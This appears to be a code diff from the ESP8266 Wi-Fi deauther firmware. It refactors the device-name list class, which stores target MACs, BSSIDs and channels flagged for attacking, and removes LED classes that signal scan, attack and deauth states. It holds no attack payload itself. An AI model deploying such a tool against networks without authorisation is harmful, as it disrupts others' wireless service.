prnt(leftRight(String(), (String)num, 2));
|
||||
prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));
|
||||
prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));
|
||||
prnt(leftRight(String(SPACE) + getName(num), String(), 17));
|
||||
prnt(leftRight(String(SPACE) + getBssidStr(num), String(), 18));
|
||||
prnt(leftRight(String(SPACE), (String)getCh(num), 3));
|
||||
prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));
|
||||
|
||||
if (footer) prntln(N_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
void Names::printAll() {
|
||||
prntln(N_HEADER);
|
||||
if (list->size() == 0)
|
||||
prntln(N_ERROR_LIST_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < list->size(); i++)
|
||||
print(i, i == 0, i == list->size() - 1);
|
||||
prntln(N_HEADER);
|
||||
int c = count();
|
||||
|
||||
if (c == 0) prntln(N_ERROR_LIST_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
void Names::printSelected() {
|
||||
prntln(N_TABLE_HEADER);
|
||||
int max = selected();
|
||||
prntln(N_TABLE_HEADER);
|
||||
int max = selected();
|
||||
int c = count();
|
||||
|
||||
if (max == 0) {
|
||||
prntln(N_ERROR_NO_SELECTED);
|
||||
return;
|
||||
}
|
||||
|
||||
for (int i = 0, j = 0; i < list->size() && j < max; i++) {
|
||||
if (getSelected(i)) {
|
||||
print(i, j == 0, j == max - 1);
|
||||
j++;
|
||||
if (max == 0) {
|
||||
prntln(N_ERROR_NO_SELECTED);
|
||||
return;
|
||||
}
|
||||
|
||||
for (int i = 0, j = 0; i < c && j < max; i++) {
|
||||
if (getSelected(i)) {
|
||||
print(i, j == 0, j == max - 1);
|
||||
j++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Names::add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force) {
|
||||
if (list->size() >= NAME_LIST_SIZE) {
|
||||
if (force)
|
||||
internal_remove(0);
|
||||
else {
|
||||
prntln(N_ERROR_LIST_FULL);
|
||||
return;
|
||||
if (count() >= NAME_LIST_SIZE) {
|
||||
if (force) internal_remove(0);
|
||||
else {
|
||||
prntln(N_ERROR_LIST_FULL);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
|
||||
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
|
||||
|
||||
internal_add(mac, name, bssid, ch, selected);
|
||||
sort();
|
||||
internal_add(mac, name, bssid, ch, selected);
|
||||
sort();
|
||||
|
||||
prnt(N_ADDED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
prnt(N_ADDED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force) {
|
||||
if (list->size() >= NAME_LIST_SIZE) {
|
||||
if (force)
|
||||
internal_remove(0);
|
||||
else {
|
||||
prntln(N_ERROR_LIST_FULL);
|
||||
return;
|
||||
if (count() >= NAME_LIST_SIZE) {
|
||||
if (force) internal_remove(0);
|
||||
else {
|
||||
prntln(N_ERROR_LIST_FULL);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
|
||||
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
|
||||
|
||||
internal_add(macStr, name, bssidStr, ch, selected);
|
||||
sort();
|
||||
internal_add(macStr, name, bssidStr, ch, selected);
|
||||
sort();
|
||||
|
||||
prnt(N_ADDED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
prnt(N_ADDED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected){
|
||||
if (!check(num)) return;
|
||||
remove(num);
|
||||
|
||||
internal_add(macStr, name, bssidStr, ch, selected);
|
||||
sort();
|
||||
prnt(N_REPLACED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
void Names::replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected) {
|
||||
if (!check(num)) return;
|
||||
|
||||
remove(num);
|
||||
|
||||
internal_add(macStr, name, bssidStr, ch, selected);
|
||||
sort();
|
||||
prnt(N_REPLACED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
prnt(N_REMOVED);
|
||||
prntln(getName(num));
|
||||
internal_remove(num);
|
||||
changed = true;
|
||||
if (!check(num)) return;
|
||||
|
||||
prnt(N_REMOVED);
|
||||
prntln(getName(num));
|
||||
internal_remove(num);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::setName(int num, String name) {
|
||||
if (!check(num)) return;
|
||||
internal_add(getMac(num), name, getBssid(num), getCh(num), getSelected(num));
|
||||
|
||||
prntln(N_CHANGED_NAME);
|
||||
|
||||
internal_remove(num);
|
||||
sort();
|
||||
changed = true;
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_add(getMac(num), name, getBssid(num), getCh(num), getSelected(num));
|
||||
|
||||
prntln(N_CHANGED_NAME);
|
||||
|
||||
internal_remove(num);
|
||||
sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::setMac(int num, String macStr) {
|
||||
if (!check(num)) return;
|
||||
uint8_t mac[6];
|
||||
strToMac(macStr, mac);
|
||||
internal_add(mac, getName(num), getBssid(num), getCh(num), getSelected(num));
|
||||
prntln(N_CHANGED_MAC);
|
||||
internal_remove(num);
|
||||
sort();
|
||||
changed = true;
|
||||
if (!check(num)) return;
|
||||
|
||||
uint8_t mac[6];
|
||||
|
||||
strToMac(macStr, mac);
|
||||
internal_add(mac, getName(num), getBssid(num), getCh(num), getSelected(num));
|
||||
prntln(N_CHANGED_MAC);
|
||||
internal_remove(num);
|
||||
sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::setCh(int num, uint8_t ch) {
|
||||
if (!check(num)) return;
|
||||
internal_add(getMac(num), getName(num), getBssid(num), ch, getSelected(num));
|
||||
prntln(N_CHANGED_CH);
|
||||
internal_remove(num);
|
||||
sort();
|
||||
changed = true;
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_add(getMac(num), getName(num), getBssid(num), ch, getSelected(num));
|
||||
prntln(N_CHANGED_CH);
|
||||
internal_remove(num);
|
||||
sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::setBSSID(int num, String bssidStr) {
|
||||
if (!check(num)) return;
|
||||
uint8_t mac[6];
|
||||
strToMac(bssidStr, mac);
|
||||
internal_add(getMac(num), getName(num), mac, getCh(num), getSelected(num));
|
||||
prntln(N_CHANGED_BSSID);
|
||||
internal_remove(num);
|
||||
sort();
|
||||
changed = true;
|
||||
if (!check(num)) return;
|
||||
|
||||
uint8_t mac[6];
|
||||
|
||||
strToMac(bssidStr, mac);
|
||||
internal_add(getMac(num), getName(num), mac, getCh(num), getSelected(num));
|
||||
prntln(N_CHANGED_BSSID);
|
||||
internal_remove(num);
|
||||
sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::select(int num) {
|
||||
if (!check(num)) return;
|
||||
internal_select(num);
|
||||
prnt(N_SELECTED);
|
||||
prntln(getName(num));
|
||||
changed = true;
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_select(num);
|
||||
prnt(N_SELECTED);
|
||||
prntln(getName(num));
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::select(String name) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getName(i).equals(name)) {
|
||||
select(i);
|
||||
return;
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
if (getName(i).equals(name)) {
|
||||
select(i);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
prnt(N_ERROR_NOT_FOUND);
|
||||
prntln(name);
|
||||
prnt(N_ERROR_NOT_FOUND);
|
||||
prntln(name);
|
||||
}
|
||||
|
||||
void Names::deselect(int num) {
|
||||
if (!check(num)) return;
|
||||
internal_deselect(num);
|
||||
prnt(N_DESELECTED);
|
||||
prntln(getName(num));
|
||||
changed = true;
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_deselect(num);
|
||||
prnt(N_DESELECTED);
|
||||
prntln(getName(num));
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::deselect(String name) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getName(i).equals(name)) {
|
||||
deselect(i);
|
||||
return;
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
if (getName(i).equals(name)) {
|
||||
deselect(i);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
prnt(N_ERROR_NOT_FOUND);
|
||||
prnt(name);
|
||||
prnt(N_ERROR_NOT_FOUND);
|
||||
prnt(name);
|
||||
}
|
||||
|
||||
void Names::selectAll() {
|
||||
for (int i = 0; i < list->size(); i++)
|
||||
internal_select(i);
|
||||
prntln(N_SELECTED_ALL);
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) internal_select(i);
|
||||
prntln(N_SELECTED_ALL);
|
||||
}
|
||||
|
||||
void Names::deselectAll() {
|
||||
for (int i = 0; i < list->size(); i++)
|
||||
internal_deselect(i);
|
||||
prntln(N_DESELECTED_ALL);
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) internal_deselect(i);
|
||||
prntln(N_DESELECTED_ALL);
|
||||
}
|
||||
|
||||
uint8_t* Names::getMac(int num) {
|
||||
if (!check(num)) return NULL;
|
||||
return list->get(num).mac;
|
||||
if (!check(num)) return NULL;
|
||||
|
||||
return list->get(num).mac;
|
||||
}
|
||||
|
||||
uint8_t* Names::getBssid(int num) {
|
||||
if (!check(num)) return NULL;
|
||||
return list->get(num).apBssid;
|
||||
if (!check(num)) return NULL;
|
||||
|
||||
return list->get(num).apBssid;
|
||||
}
|
||||
|
||||
String Names::getMacStr(int num) {
|
||||
String value;
|
||||
if (check(num)) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getMac(num);
|
||||
for (int i = 0; i < 6; i++) {
|
||||
if (mac[i] < 0x10) value += ZERO;
|
||||
value += String(mac[i], HEX);
|
||||
if (i < 5) value += DOUBLEPOINT;
|
||||
}
|
||||
}
|
||||
return value;
|
||||
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
String Names::getVendorStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
return searchVendor(list->get(num).mac);
|
||||
if (!check(num)) return String();
|
||||
|
||||
return searchVendor(list->get(num).mac);
|
||||
}
|
||||
|
||||
String Names::getBssidStr(int num) {
|
||||
String value;
|
||||
if (getBssid(num) != NULL) {
|
||||
uint8_t* mac = getBssid(num);
|
||||
for (int i = 0; i < 6; i++) {
|
||||
if (mac[i] < 0x10) value += ZERO;
|
||||
value += String(mac[i], HEX);
|
||||
if (i < 5) value += DOUBLEPOINT;
|
||||
String value;
|
||||
|
||||
if (getBssid(num) != NULL) {
|
||||
uint8_t* mac = getBssid(num);
|
||||
|
||||
for (int i = 0; i < 6; i++) {
|
||||
if (mac[i] < 0x10) value += ZERO;
|
||||
value += String(mac[i], HEX);
|
||||
|
||||
if (i < 5) value += DOUBLEPOINT;
|
||||
}
|
||||
}
|
||||
}
|
||||
return value;
|
||||
return value;
|
||||
}
|
||||
|
||||
String Names::getName(int num) {
|
||||
if (!check(num)) return String();
|
||||
return String(list->get(num).name);
|
||||
if (!check(num)) return String();
|
||||
|
||||
return String(list->get(num).name);
|
||||
}
|
||||
|
||||
String Names::getSelectedStr(int num) {
|
||||
return b2a(getSelected(num));
|
||||
return b2a(getSelected(num));
|
||||
}
|
||||
|
||||
uint8_t Names::getCh(int num) {
|
||||
if (!check(num)) return 1;
|
||||
return list->get(num).ch;
|
||||
if (!check(num)) return 1;
|
||||
|
||||
return list->get(num).ch;
|
||||
}
|
||||
|
||||
bool Names::getSelected(int num) {
|
||||
if (!check(num)) return false;
|
||||
return list->get(num).selected;
|
||||
if (!check(num)) return false;
|
||||
|
||||
return list->get(num).selected;
|
||||
}
|
||||
|
||||
bool Names::isStation(int num) {
|
||||
return getBssid(num) != NULL;
|
||||
return getBssid(num) != NULL;
|
||||
}
|
||||
|
||||
int Names::count() {
|
||||
return list->size();
|
||||
return list->size();
|
||||
}
|
||||
|
||||
int Names::selected() {
|
||||
int num = 0;
|
||||
for (int i = 0; i < count(); i++)
|
||||
if (getSelected(i)) num++;
|
||||
return num;
|
||||
int num = 0;
|
||||
|
||||
for (int i = 0; i < count(); i++)
|
||||
if (getSelected(i)) num++;
|
||||
return num;
|
||||
}
|
||||
|
||||
int Names::stations() {
|
||||
int num = 0;
|
||||
|
||||
for (int i = 0; i < count(); i++)
|
||||
if (isStation(i)) num++;
|
||||
return num;
|
||||
}
|
||||
|
||||
bool Names::internal_check(int num) {
|
||||
return num >= 0 && num < list->size();
|
||||
return num >= 0 && num < count();
|
||||
}
|
||||
|
||||
void Names::internal_select(int num) {
|
||||
Device newDevice = list->get(num);
|
||||
newDevice.selected = true;
|
||||
list->set(num, newDevice);
|
||||
Device newDevice = list->get(num);
|
||||
|
||||
newDevice.selected = true;
|
||||
list->replace(num, newDevice);
|
||||
}
|
||||
|
||||
void Names::internal_deselect(int num) {
|
||||
Device newDevice = list->get(num);
|
||||
newDevice.selected = false;
|
||||
list->set(num, newDevice);
|
||||
Device newDevice = list->get(num);
|
||||
|
||||
newDevice.selected = false;
|
||||
list->replace(num, newDevice);
|
||||
}
|
||||
|
||||
void Names::internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected) {
|
||||
uint8_t* deviceMac = (uint8_t*)malloc(6);
|
||||
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
|
||||
char* deviceName = (char*)malloc(name.length() + 1);
|
||||
uint8_t* deviceBssid = NULL;
|
||||
uint8_t* deviceMac = (uint8_t*)malloc(6);
|
||||
|
||||
name = fixUtf8(name);
|
||||
|
||||
memcpy(deviceMac, mac, 6);
|
||||
strcpy(deviceName, name.c_str());
|
||||
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
|
||||
char* deviceName = (char*)malloc(name.length() + 1);
|
||||
uint8_t* deviceBssid = NULL;
|
||||
|
||||
if (bssid) {
|
||||
deviceBssid = (uint8_t*)malloc(6);
|
||||
memcpy(deviceBssid, bssid, 6);
|
||||
}
|
||||
name = fixUtf8(name);
|
||||
|
||||
if (ch < 1 || ch > 14) ch = 1;
|
||||
memcpy(deviceMac, mac, 6);
|
||||
strcpy(deviceName, name.c_str());
|
||||
|
||||
Device newDevice;
|
||||
newDevice.mac = deviceMac;
|
||||
newDevice.name = deviceName;
|
||||
newDevice.apBssid = deviceBssid;
|
||||
newDevice.ch = ch;
|
||||
newDevice.selected = selected;
|
||||
if (bssid) {
|
||||
deviceBssid = (uint8_t*)malloc(6);
|
||||
memcpy(deviceBssid, bssid, 6);
|
||||
}
|
||||
|
||||
list->add(newDevice);
|
||||
if ((ch < 1) || (ch > 14)) ch = 1;
|
||||
|
||||
Device newDevice;
|
||||
|
||||
newDevice.mac = deviceMac;
|
||||
newDevice.name = deviceName;
|
||||
newDevice.apBssid = deviceBssid;
|
||||
newDevice.ch = ch;
|
||||
newDevice.selected = selected;
|
||||
|
||||
list->add(newDevice);
|
||||
}
|
||||
|
||||
void Names::internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected) {
|
||||
uint8_t mac[6];
|
||||
if (!strToMac(macStr, mac)) return;
|
||||
uint8_t mac[6];
|
||||
|
||||
if (bssidStr.length() == 17) {
|
||||
uint8_t bssid[6];
|
||||
strToMac(bssidStr, bssid);
|
||||
internal_add(mac, name, bssid, ch, selected);
|
||||
} else {
|
||||
internal_add(mac, name, NULL, ch, selected);
|
||||
}
|
||||
if (!strToMac(macStr, mac)) return;
|
||||
|
||||
if (bssidStr.length() == 17) {
|
||||
uint8_t bssid[6];
|
||||
strToMac(bssidStr, bssid);
|
||||
internal_add(mac, name, bssid, ch, selected);
|
||||
} else {
|
||||
internal_add(mac, name, NULL, ch, selected);
|
||||
}
|
||||
}
|
||||
|
||||
void Names::internal_remove(int num) {
|
||||
free(list->get(num).mac);
|
||||
free(list->get(num).name);
|
||||
if (list->get(num).apBssid) free(list->get(num).apBssid);
|
||||
list->remove(num);
|
||||
free(list->get(num).mac);
|
||||
free(list->get(num).name);
|
||||
|
||||
if (list->get(num).apBssid) free(list->get(num).apBssid);
|
||||
list->remove(num);
|
||||
}
|
||||
|
||||
void Names::internal_removeAll() {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
free(list->get(i).mac);
|
||||
free(list->get(i).name);
|
||||
if (list->get(i).apBssid) free(list->get(i).apBssid);
|
||||
}
|
||||
list->clear();
|
||||
}
|
||||
while (count() > 0) {
|
||||
free(list->get(0).mac);
|
||||
free(list->get(0).name);
|
||||
|
||||
|
||||
|
||||
if (list->get(0).apBssid) free(list->get(0).apBssid);
|
||||
list->remove(0);
|
||||
}
|
||||
}
|
|
@ -1,100 +1,101 @@
|
|||
#ifndef Names_h
|
||||
#define Names_h
|
||||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#include "Arduino.h"
|
||||
#include "FS.h"
|
||||
#include <ArduinoJson.h>
|
||||
#include "LinkedList.h"
|
||||
#pragma once
|
||||
|
||||
#include <ESP8266WiFi.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "src/ArduinoJson-v5.13.5/ArduinoJson.h"
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
|
||||
#define NAME_LIST_SIZE 25
|
||||
#define NAME_MAX_LENGTH 16
|
||||
#define NAME_MAX_LENGTH 17
|
||||
|
||||
extern void checkFile(String path, String data);
|
||||
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer &jsonBuffer);
|
||||
extern bool writeFile(String path, String &buf);
|
||||
extern bool appendFile(String path, String &buf);
|
||||
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern bool appendFile(String path, String& buf);
|
||||
extern bool strToMac(String macStr, uint8_t* mac);
|
||||
extern String searchVendor(uint8_t* mac);
|
||||
extern String fixUtf8(String str);
|
||||
extern String buildString(String left, String right, int maxLen);
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String escape(String str);
|
||||
extern String bytesToStr(const uint8_t* b, uint32_t size);
|
||||
|
||||
class Names {
|
||||
public:
|
||||
Names();
|
||||
|
||||
void load();
|
||||
void load(String filepath);
|
||||
void save(bool force);
|
||||
void save(bool force,String filepath);
|
||||
void sort();
|
||||
|
||||
String find(uint8_t* mac);
|
||||
int findID(uint8_t* mac);
|
||||
public:
|
||||
Names();
|
||||
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
void select(int num);
|
||||
void select(String name);
|
||||
void deselect(int num);
|
||||
void deselect(String name);
|
||||
void add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force);
|
||||
void add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force);
|
||||
void replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected);
|
||||
void remove(int num);
|
||||
|
||||
void printAll();
|
||||
void printSelected();
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void removeAll();
|
||||
|
||||
uint8_t* getMac(int num);
|
||||
uint8_t* getBssid(int num);
|
||||
String getMacStr(int num);
|
||||
String getBssidStr(int num);
|
||||
String getName(int num);
|
||||
String getVendorStr(int num);
|
||||
String getSelectedStr(int num);
|
||||
uint8_t getCh(int num);
|
||||
bool getSelected(int num);
|
||||
bool isStation(int num);
|
||||
void load();
|
||||
void load(String filepath);
|
||||
void save(bool force);
|
||||
void save(bool force, String filepath);
|
||||
void sort();
|
||||
|
||||
void setName(int num, String name);
|
||||
void setMac(int num, String macStr);
|
||||
void setCh(int num, uint8_t ch);
|
||||
void setBSSID(int num, String bssidStr);
|
||||
|
||||
int count();
|
||||
int selected();
|
||||
String find(uint8_t* mac);
|
||||
int findID(uint8_t* mac);
|
||||
|
||||
bool check(int num);
|
||||
private:
|
||||
String FILE_PATH = "/names.json";
|
||||
bool changed = false;
|
||||
|
||||
struct Device{
|
||||
uint8_t* mac; // mac address
|
||||
char* name; // name of saved device
|
||||
uint8_t* apBssid; // mac address of AP (if saved device is a station)
|
||||
uint8_t ch; // Wi-Fi channel of Device
|
||||
bool selected; // select for attacking
|
||||
};
|
||||
|
||||
LinkedList<Device>* list;
|
||||
|
||||
int binSearch(uint8_t* searchBytes, int lowerEnd, int upperEnd);
|
||||
bool internal_check(int num);
|
||||
void internal_select(int num);
|
||||
void internal_deselect(int num);
|
||||
void internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected);
|
||||
void internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected);
|
||||
void internal_remove(int num);
|
||||
void internal_removeAll();
|
||||
};
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
void select(int num);
|
||||
void select(String name);
|
||||
void deselect(int num);
|
||||
void deselect(String name);
|
||||
void add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force);
|
||||
void add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force);
|
||||
void replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected);
|
||||
void remove(int num);
|
||||
|
||||
#endif
|
||||
void printAll();
|
||||
void printSelected();
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void removeAll();
|
||||
|
||||
uint8_t* getMac(int num);
|
||||
uint8_t* getBssid(int num);
|
||||
String getMacStr(int num);
|
||||
String getBssidStr(int num);
|
||||
String getName(int num);
|
||||
String getVendorStr(int num);
|
||||
String getSelectedStr(int num);
|
||||
uint8_t getCh(int num);
|
||||
bool getSelected(int num);
|
||||
bool isStation(int num);
|
||||
|
||||
|
||||
void setName(int num, String name);
|
||||
void setMac(int num, String macStr);
|
||||
void setCh(int num, uint8_t ch);
|
||||
void setBSSID(int num, String bssidStr);
|
||||
|
||||
int count();
|
||||
int selected();
|
||||
int stations();
|
||||
|
||||
bool check(int num);
|
||||
|
||||
private:
|
||||
String FILE_PATH = "/names.json";
|
||||
bool changed = false;
|
||||
|
||||
struct Device {
|
||||
uint8_t* mac; // mac address
|
||||
char * name; // name of saved device
|
||||
uint8_t* apBssid; // mac address of AP (if saved device is a station)
|
||||
uint8_t ch; // Wi-Fi channel of Device
|
||||
bool selected; // select for attacking
|
||||
};
|
||||
|
||||
SimpleList<Device>* list;
|
||||
|
||||
int binSearch(uint8_t* searchBytes, int lowerEnd, int upperEnd);
|
||||
bool internal_check(int num);
|
||||
void internal_select(int num);
|
||||
void internal_deselect(int num);
|
||||
void internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected);
|
||||
void internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected);
|
||||
void internal_remove(int num);
|
||||
void internal_removeAll();
|
||||
};
|
|
@ -1,110 +0,0 @@
|
|||
#include "Neopixel.h"
|
||||
|
||||
Neopixel::Neopixel() {
|
||||
|
||||
}
|
||||
|
||||
// setup pins
|
||||
void Neopixel::setup(){
|
||||
if(!settings.getLedEnabled()) return;
|
||||
|
||||
// ===== adjustable ===== //
|
||||
strip.setBrightness(100);
|
||||
strip.begin();
|
||||
strip.show();
|
||||
// ====================== //
|
||||
|
||||
setMode(LED_MODE_OFF, true);
|
||||
}
|
||||
|
||||
void Neopixel::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output) {
|
||||
// debug output
|
||||
if (output){
|
||||
char s[30];
|
||||
sprintf(s,str(L_OUTPUT_A).c_str(), r, g, b);
|
||||
prnt(String(s));
|
||||
}
|
||||
|
||||
// ===== adjustable ===== //
|
||||
if (brightness > 0 && brightness < 100) {
|
||||
if (r > 0 && brightness < 100) r = r * brightness / 100;
|
||||
if (g > 0 && brightness < 100) g = g * brightness / 100;
|
||||
if (b > 0 && brightness < 100) b = b * brightness / 100;
|
||||
}
|
||||
|
||||
for(uint16_t i=0;i<LED_NEOPIXEL_NUM;i++){
|
||||
strip.setPixelColor(i,strip.Color(r,g,b,brightness));
|
||||
}
|
||||
strip.show();
|
||||
// ====================== //
|
||||
|
||||
// debug output
|
||||
if (output){
|
||||
char s[30];
|
||||
sprintf(s,str(L_OUTPUT_B).c_str(), r?255:0, g?255:0, b?255:0);
|
||||
prnt(String(s));
|
||||
}
|
||||
}
|
||||
|
||||
// customize color codes for different LED modes
|
||||
void Neopixel::setMode(uint8_t mode, bool force) {
|
||||
// ===== adjustable ===== //
|
||||
if (mode != Neopixel::mode || force) {
|
||||
Neopixel::mode = mode;
|
||||
switch (mode) {
|
||||
case LED_MODE_OFF:
|
||||
setColor(0, 0, 0, LED_MODE_BRIGHTNESS, false);
|
||||
break;
|
||||
case LED_MODE_SCAN:
|
||||
if(LED_DYNAMIC_BRIGHTNESS) setColor(0, 0, 255, (uint8_t)(scan.getScaleFactor(100)*scan.getPacketRate()), false); // change color depending on packet rate
|
||||
else setColor(0, 0, 255, LED_MODE_BRIGHTNESS, false);
|
||||
break;
|
||||
case LED_MODE_ATTACK:
|
||||
setColor(255, 255, 0, LED_MODE_BRIGHTNESS, false);
|
||||
break;
|
||||
case LED_MODE_DEAUTH:
|
||||
if(LED_DYNAMIC_BRIGHTNESS) setColor(255, 0, 0, scan.deauths > 255 ? 255 : scan.deauths , false); // brightness depending on how many deauths/s
|
||||
else setColor(255, 0, 0, LED_MODE_BRIGHTNESS, false);
|
||||
break;
|
||||
case LED_MODE_IDLE:
|
||||
setColor(0, 255, 0, LED_MODE_BRIGHTNESS, false);
|
||||
break;
|
||||
}
|
||||
}
|
||||
// ====================== //
|
||||
}
|
||||
|
||||
void Neopixel::tempEnable() {
|
||||
tempEnabled = true;
|
||||
prntln(L_ENABLED);
|
||||
}
|
||||
|
||||
void Neopixel::tempDisable() {
|
||||
tempEnabled = false;
|
||||
prntln(L_DISABLED);
|
||||
}
|
||||
|
||||
bool Neopixel::getTempEnabled() {
|
||||
return tempEnabled;
|
||||
}
|
||||
|
||||
void Neopixel::setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||
setColor(r, g, b, 100, true);
|
||||
}
|
||||
|
||||
void Neopixel::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness) {
|
||||
setColor(r, g, b, brightness, true);
|
||||
}
|
||||
|
||||
void Neopixel::update() {
|
||||
if (!tempEnabled) return;
|
||||
if (!settings.getLedEnabled() && tempEnabled) tempDisable();
|
||||
|
||||
if (scan.isScanning() && scan.deauths < settings.getMinDeauths()) setMode(LED_MODE_SCAN, false);
|
||||
else if (scan.deauths >= settings.getMinDeauths()) setMode(LED_MODE_DEAUTH, false);
|
||||
else if (attack.isRunning()) setMode(LED_MODE_ATTACK, false);
|
||||
else setMode(LED_MODE_IDLE, false);
|
||||
}
|
||||
|
||||
|
||||
|
|
@ -1,47 +0,0 @@
|
|||
#ifndef Neopixel_h
|
||||
#define Neopixel_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include "Settings.h"
|
||||
#include "Attack.h"
|
||||
#include "Scan.h"
|
||||
#include "language.h"
|
||||
#include <Adafruit_NeoPixel.h>
|
||||
#include "A_config.h"
|
||||
|
||||
#define LED_MODE_OFF 0
|
||||
#define LED_MODE_SCAN 1
|
||||
#define LED_MODE_ATTACK 2
|
||||
#define LED_MODE_DEAUTH 3
|
||||
#define LED_MODE_IDLE 4
|
||||
|
||||
extern Settings settings;
|
||||
extern Attack attack;
|
||||
extern Scan scan;
|
||||
extern Stations stations;
|
||||
|
||||
class Neopixel {
|
||||
public:
|
||||
Neopixel();
|
||||
void setup();
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b);
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness);
|
||||
void setMode(uint8_t mode, bool force);
|
||||
void update();
|
||||
void tempEnable();
|
||||
void tempDisable();
|
||||
bool getTempEnabled();
|
||||
private:
|
||||
// ===== adjustable ===== //
|
||||
Adafruit_NeoPixel strip = LED_NEOPIXEL;
|
||||
// ======================= //
|
||||
|
||||
uint8_t mode;
|
||||
bool tempEnabled = true;
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output);
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
|
|
@ -1,115 +0,0 @@
|
|||
#include "RGBLed.h"
|
||||
|
||||
RGBLed::RGBLed() {
|
||||
|
||||
}
|
||||
|
||||
// setup pins
|
||||
void RGBLed::setup(){
|
||||
if(!settings.getLedEnabled()) return;
|
||||
|
||||
// ===== adjustable ===== //
|
||||
pinMode(LED_PIN_R, OUTPUT);
|
||||
pinMode(LED_PIN_G, OUTPUT);
|
||||
pinMode(LED_PIN_B, OUTPUT);
|
||||
// ====================== //
|
||||
|
||||
setMode(LED_MODE_OFF, true);
|
||||
}
|
||||
|
||||
void RGBLed::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output) {
|
||||
// debug output
|
||||
if (output){
|
||||
char s[30];
|
||||
